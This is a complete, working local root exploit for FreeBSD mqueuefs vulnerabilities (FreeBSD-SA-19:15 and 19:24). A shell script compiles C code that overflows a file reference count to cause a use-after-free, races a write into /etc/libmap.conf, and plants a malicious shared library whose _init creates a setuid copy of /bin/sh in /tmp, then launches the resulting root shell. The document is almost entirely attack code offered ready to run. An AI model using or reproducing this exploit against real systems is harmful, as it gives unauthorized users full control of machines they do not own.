# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation # Author: Karsten König of Secfault Security # Date: 2019-12-30 # Change line 719 to choose which vulnerability # is targeted # # libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper # Exploit for FreeBSD-SA-19:15.mqueuefs and # FreeBSD-SA-19:24.mqueu #!/bin/sh echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities" umask 0000 # libmap.conf has to exist because it is # the attacked file if [ ! -f /etc/libmap.conf ]; then echo "[!] libmap.conf has to exist" exit fi # Make a backup of the current libmap.conf # because it has to be reconstructed afterwards cp /etc/libmap.conf ./ # Write the exploit to a C file cat > exploit.c << EOF #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define N_OPEN 0x2 // Tweak NUM_THREADS and NUM_FORKS if // more RAM is available on the target // // These parameters were tested with // up to 16 GB of RAM on a dual-core // Intel based system #define N 1000000 #define NUM_THREADS 600 #define NUM_FORKS 3 #define FILE_SIZE 1024 #define CHUNK_SIZE 1 #define N_FILES 25 // These are temporary files // which are created during // exploitation #define SERVER_PATH "/tmp/sync_forks" #define DEFAULT_PATH "/tmp/pwn" #define HAMMER_PATH "/tmp/pwn2" // This is the attacked file #define ATTACK_PATH "/etc/libmap.conf" // These are parameters from the attack script #define HOOK_LIB "libutil.so.9" #define ATTACK_LIB "/tmp/libno_ex.so.1.0" // The exploit will stick some threads // to specific cores #define CORE_0 0 #define CORE_1 1 // Syscalls from mqueuefs #define KMQ_OPEN 457 #define KMQ_TIMEDSEND 460 // Taken from sys/mqueue.h struct mq_attr { long mq_flags; long mq_maxmsg; long mq_msgsize; long mq_curmsgs; long __reserved[4]; }; struct thread_data { int fd; int fd2; }; pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx; pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond; // Both syscalls are indirectly called to be less reliable on // installed libraries int mq_open(const char *name, int oflag, mode_t mode, const struct mq_attr *attr) { int fd; fd = syscall(KMQ_OPEN, name, oflag, mode, attr); return fd; } void mq_timedsend(int fd, char *buf, size_t len, unsigned prio, const struct timespec *timeout) { syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout); } // Convenience function to open temporary files int open_tmp(char *path) { int fd; char *real_path; if (path != NULL) { real_path = malloc(strlen(path) + 1); strcpy(real_path, path); } else { real_path = malloc(strlen(DEFAULT_PATH) + 1); strcpy(real_path, DEFAULT_PATH); } if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) { perror("[!] open"); } return fd; } // Convenience function to prepare a UNIX domain socket void prepare_domain_socket(struct sockaddr_un *remote, char *path) { bzero(remote, sizeof(struct sockaddr_un)); remote->sun_family = AF_UNIX; strncpy(remote->sun_path, path, sizeof(remote->sun_path)); } // Convenience function to bind a UNIX domain socket int bind_domain_socket(struct sockaddr_un *remote) { int server_socket; if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } if (bind(server_socket, (struct sockaddr *) remote, sizeof(struct sockaddr_un)) != 0) { perror("[!] bind"); exit(1); } return server_socket; } // Convenience function to connect to a UNIX domain socket int connect_domain_socket_client() { int client_socket; if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } return client_socket; } // Prevent panic at termination because f_count of the // corrupted struct file is 0 at the moment this function // is called but open file descriptors still points to the struct, // hence fdrop() is called at exit of the program and will raise a // kernel panic because f_count will be below 0 // // So we just use our known primitive to increase f_count void prevent_panic(int fd) { mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Convenience function to stick a thread to a CPU core int stick_thread_to_core(int core) { cpuset_t cpuset; CPU_ZERO(&cpuset); CPU_SET(core, &cpuset); pthread_t current_thread = pthread_self(); return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset); } // This function will trigger the use-after-free void *trigger_uaf(void *thread_args) { struct thread_data *thread_data; int fd, fd2; if (stick_thread_to_core(CORE_0) != 0) { perror("[!] [!] trigger_uaf: Could not stick thread to core"); } thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = thread_data->fd2; printf("[+] trigger_uaf: fd: %d\n", fd); printf("[+] trigger_uaf: fd2: %d\n", fd2); // The thread has to wait for the preparation of the // race condition printf("[+] trigger_uaf: Waiting for start signal from monitor\n"); pthread_mutex_lock(&trigger_mtx); pthread_cond_wait(&trigger_cond, &trigger_mtx); // This sleep parameter helps to render // the exploit more reliable // // Tweeking may be needed for the target system usleep(40); // Close two fds to trigger UaF // // This assumes that fget_write() in kern_writev() // was already successful! // // Otherwise kernel panic is triggered // // f_count = 2 (primitive+fget_write) close(fd); close(fd2); // f_count = 0 => free fd = open(ATTACK_PATH, O_RDONLY); // refcount = 1 // all fds do now point to the attacked path printf("[+] trigger_uaf: Opened read-only file\n"); printf("[+] trigger_uaf: Exit\n"); pthread_exit(NULL); } // This function will write to many invalid file streams // // This will eventually increase the number of dirty buffers // in the kernel and creates an exploitable race condition // for the Use-after-Free void *hammer(void *arg) { int i, j, k, client_socket; char buf[FILE_SIZE], sync_buf[3]; FILE *fd[N_FILES]; struct sockaddr_un remote; prepare_domain_socket(&remote, SERVER_PATH); client_socket = connect_domain_socket_client(); strncpy(sync_buf, "1\n", 3); // Open many files and unlink them directly // to render the file stream invalid for (i = 0; i < N_FILES; i++) { unlink(HAMMER_PATH); if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) { perror("[!] fopen"); exit(1); } } for (i = 0; i < FILE_SIZE; i++) { buf[i] = 'a'; } pthread_mutex_lock(&hammer_mtx); // Signal that the thread is prepared // // Sometimes sendto() fails because // no free buffer is available for (;;) { if (sendto(client_socket, sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &remote, sizeof(remote)) != -1) { break; } } // Wait for the other hammer threads pthread_cond_wait(&hammer_cond, &hammer_mtx); pthread_mutex_unlock(&hammer_mtx); // Write to the file streams to create many dirty buffers for (i = 0; i < N; i++) { for (k = 0; k < N_FILES; k++) { rewind(fd[k]); } for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) { for (k = 0; k < N_FILES; k++) { if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) { perror("[!] fwrite"); exit(1); } } fflush(NULL); } } pthread_exit(NULL); } // This function monitors the number of // dirty buffers. // // If enough dirty buffers do exist, a // signal to the write and Use-after-Free // trigger thread is signalled to // execute the actual attack // // Works on UFS only void *monitor_dirty_buffers(void *arg) { int hidirtybuffers, numdirtybuffers; size_t len; len = sizeof(int); if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) { perror("[!] sysctlbyname hidirtybuffers"); exit(1); }; printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers); while(1) { sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0); if (numdirtybuffers >= hidirtybuffers) { pthread_cond_signal(&write_cond); pthread_cond_signal(&trigger_cond); printf("[+] monitor: Reached hidirtybuffers watermark\n"); break; } } pthread_exit(NULL); } // Check if the write to the attacked // path was successful int check_write(int fd) { char buf[256]; int nbytes; struct stat st; printf("[+] check_write\n"); stat(DEFAULT_PATH, &st); printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size); stat(ATTACK_PATH, &st); printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size); nbytes = read(fd, buf, strlen(HOOK_LIB)); printf("[+] Read bytes: %d\n", nbytes); if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) { return 1; } else if (nbytes < 0) { perror("[!] check_write:read"); printf("[!] check_write:Cannot check if it worked!"); return 1; } return 0; } // This function will execute the write operation // to the attacked path void *write_to_file(void *thread_args) { int fd, fd2, nbytes; int *fd_ptr; char buf[256]; struct thread_data *thread_data; struct mq_attr attrs; if (stick_thread_to_core(CORE_1) != 0) { perror("[!] write_to_file: Could not stick thread to core"); } fd_ptr = malloc(sizeof(int)); attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = open(ATTACK_PATH, O_RDONLY); // Wait for the signal to execute the write operation printf("[+] write_to_file: Wait for signal from monitor\n"); pthread_mutex_lock(&write_mtx); pthread_cond_wait(&write_cond, &write_mtx); // Write to the temporary file // // During the write operation the exploit will trigger // the Use-after-Free and exchange the written file // with the attacked file to render a write to it snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB); nbytes = write(fd, buf, strlen(buf)); // Reopen directly after write to prevent panic later // // After the write f_count == 0 because after trigger_uaf() // opened the read-only file, f_count == 1 and write() // calls fdrop() at the end // // => f_count == 0 // // A direct open hopefully assigns the now again free file // object to fd so that we can prevent the panic with our // increment primitive. *fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (*fd_ptr == -1) perror("[!] write_to_file: mq_open"); if (nbytes < 0) { perror("[!] write_to_file: write"); } else if (nbytes > 0) { printf("[+] write_to_file: We have written something...\n"); if (check_write(fd2) > 0) printf("[+] write_to_file: It (probably) worked!\n"); else printf("[!] write_to_file: It worked not :(\n"); } printf("[+] write_to_file: Exit\n"); pthread_exit(fd_ptr); } // This function prepares the Use-after-Free due to // a reference counter overflow void prepare(int fds[3]) { int fd, fd2, fd3, trigger_fd; u_int32_t i; struct mq_attr attrs; attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); printf("[+] Start UaF preparation\n"); printf("[+] This can take a while\n"); // Open a mqueue file fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (fd == -1) { perror("open"); exit(1); } // fp->f_count will be incremented by 1 per iteration due // to the bug in freebsd32_kmq_timedsend() // // That is, 0xfffffffe iterations will increment it to // 0xffffffff (f_count starts with 1 because of mq_open()) // // The bug is triggered because freebsd_kqm_timedsend will eventually // try to call copyin() with the pointer to address 0x1 which // is invalid for (i = 0; i < 0xfffffffe; i++) { // just a progress message, nothing special about the magic values if (i % 0x19999990 == 0) printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28)); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Every dup() increases fp->f_count by 1 // // Using dup() works because FreeBSD's mqueue implementation // is implemented by using file objects (struct file) internally. // // This circumvents an infinite loop in fget_unlocked() as dup() // does not use _fget() but fhold() to increase the counter. fd2 = dup(fd); if (fd2 == -1) { perror("dup"); exit(1); } fd3 = dup(fd); if (fd3 == -1) { perror("dup"); exit(1); } // Close the mqueue file to trigger a free operation // // The descriptors fd2 and fd3 will still point // to the freed object // // Opening another file will render these descriptors // to point the newly opened file close(fd); trigger_fd = open_tmp(NULL); fds[0] = trigger_fd; fds[1] = fd2; fds[2] = fd3; printf("[+] Finished UaF preparation\n"); } // This function will monitor that all // hammer threads are opened void read_thread_status(int server_socket) { int bytes_rec, count; struct sockaddr_un client; socklen_t len; char buf[256]; struct timeval tv; tv.tv_sec = 10; tv.tv_usec = 0; setsockopt(server_socket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv); for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) { if (count % 100 == 0) { printf("[+] Hammer threads ready: %d\n", count); } bzero(&client, sizeof(struct sockaddr_un)); bzero(buf, 256); len = sizeof(struct sockaddr_un); if ((bytes_rec = recvfrom(server_socket, buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] recvfrom"); break; } } if (count != NUM_FORKS * NUM_THREADS) { printf("[!] Could not create all hammer threads, will try though!\n"); } } // This function will execute the whole exploit void fire() { int i, j, fd, fd2, fd3, bytes_rec, server_socket; int sv[2], fds[3], hammer_socket[NUM_FORKS]; int *fd_ptr; char socket_path[256], sync_buf[3], buf[256]; pthread_t write_thread, trigger_thread, monitor_thread; pthread_t hammer_threads[NUM_THREADS]; pid_t pids[NUM_FORKS]; socklen_t len; struct thread_data thread_data; struct sockaddr_un server, client; struct sockaddr_un hammer_socket_addr[NUM_FORKS]; // Socket for receiving thread status unlink(SERVER_PATH); prepare_domain_socket(&server, SERVER_PATH); server_socket = bind_domain_socket(&server); // Sockets to receive hammer signal for (i = 0; i < NUM_FORKS; i++) { snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i); unlink(socket_path); prepare_domain_socket(&hammer_socket_addr[i], socket_path); hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]); } strncpy(sync_buf, "1\n", 3); len = sizeof(struct sockaddr_un); if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) { perror("[!] socketpair"); exit(1); } pthread_mutex_init(&write_mtx, NULL); pthread_mutex_init(&trigger_mtx, NULL); pthread_cond_init(&write_cond, NULL); pthread_cond_init(&trigger_cond, NULL); // Create the thread to monitor the number of // dirty buffers directly in the beginning // to be ready when needed pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL); // Prepare the UaF using the 0day prepare(fds); fd = fds[0]; fd2 = fds[1]; fd3 = fds[2]; // Create the threads which will execute the exploit thread_data.fd = fd; thread_data.fd2 = fd2; pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data); pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data); for (j = 0; j < NUM_FORKS; j++) { if ((pids[j] = fork()) < 0) { perror("[!] fork"); abort(); } else if (pids[j] == 0) { // Close the file descriptors // becasue each fork will have an own reference // to the file object, thus increasing the // reference counter close(fd); close(fd2); close(fd3); pthread_mutex_init(&hammer_mtx, NULL); pthread_cond_init(&hammer_cond, NULL); // Create the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_create(&hammer_threads[i], NULL, hammer, NULL); } printf("[+] Fork %d created all threads\n", j); // Wait for the signal to start hammering from the parent if ((bytes_rec = recvfrom(hammer_socket[j], buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] accept"); abort(); } // Broadcast to the hammer threads to // start hammering pthread_cond_broadcast(&hammer_cond); // Wait for the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_join(hammer_threads[i], NULL); } pthread_cond_destroy(&hammer_cond); pthread_mutex_destroy(&hammer_mtx); exit(0); } else { printf("[+] Created child with PID %d\n", pids[j]); } } // Wait for the preparation of all hammer threads // in the forks. // // If all are prepared, send a signal to the childs // to start the hammering process to create dirty // buffers. read_thread_status(server_socket); printf("[+] Send signal to Start Hammering\n"); for (i = 0; i < NUM_FORKS; i++) { if (sendto(hammer_socket[i], sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &hammer_socket_addr[i], sizeof(hammer_socket_addr[0])) == -1) { perror("[!] sendto"); exit(1); } } // Wait for all threads to finish pthread_join(monitor_thread, NULL); for (i = 0; i < NUM_FORKS; i++) { kill(pids[i], SIGKILL); printf("[+] Killed %d\n", pids[i]); } pthread_join(write_thread, (void **) &fd_ptr); pthread_join(trigger_thread, NULL); pthread_mutex_destroy(&write_mtx); pthread_mutex_destroy(&trigger_mtx); pthread_cond_destroy(&write_cond); pthread_cond_destroy(&trigger_cond); // Prevent a kernel panic prevent_panic(*fd_ptr); // fd was acquired from write_to_file // which allocs a pointer for it free(fd_ptr); } int main(int argc, char **argv) { setbuf(stdout, NULL); fire(); return 0; } EOF # Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs cc -o exploit -lpthread exploit.c # cc -o exploit -m32 -lpthread exploit.c cat > program.c << EOF #include #include #include #include void _init() { if (!geteuid()) execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } EOF # Compile the shared library object cc -o program.o -c program.c -fPIC cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 # Start the exploit # # su will execute the shared library object # that creates the shell binary copy echo "[+] Firing the Exploit" ./exploit su # Ensure that everything has worked # and execute the root-shell if [ -f /tmp/xxxx ]; then echo "[+] Enjoy!" echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf" /tmp/xxxx else echo "[!] FAIL" fi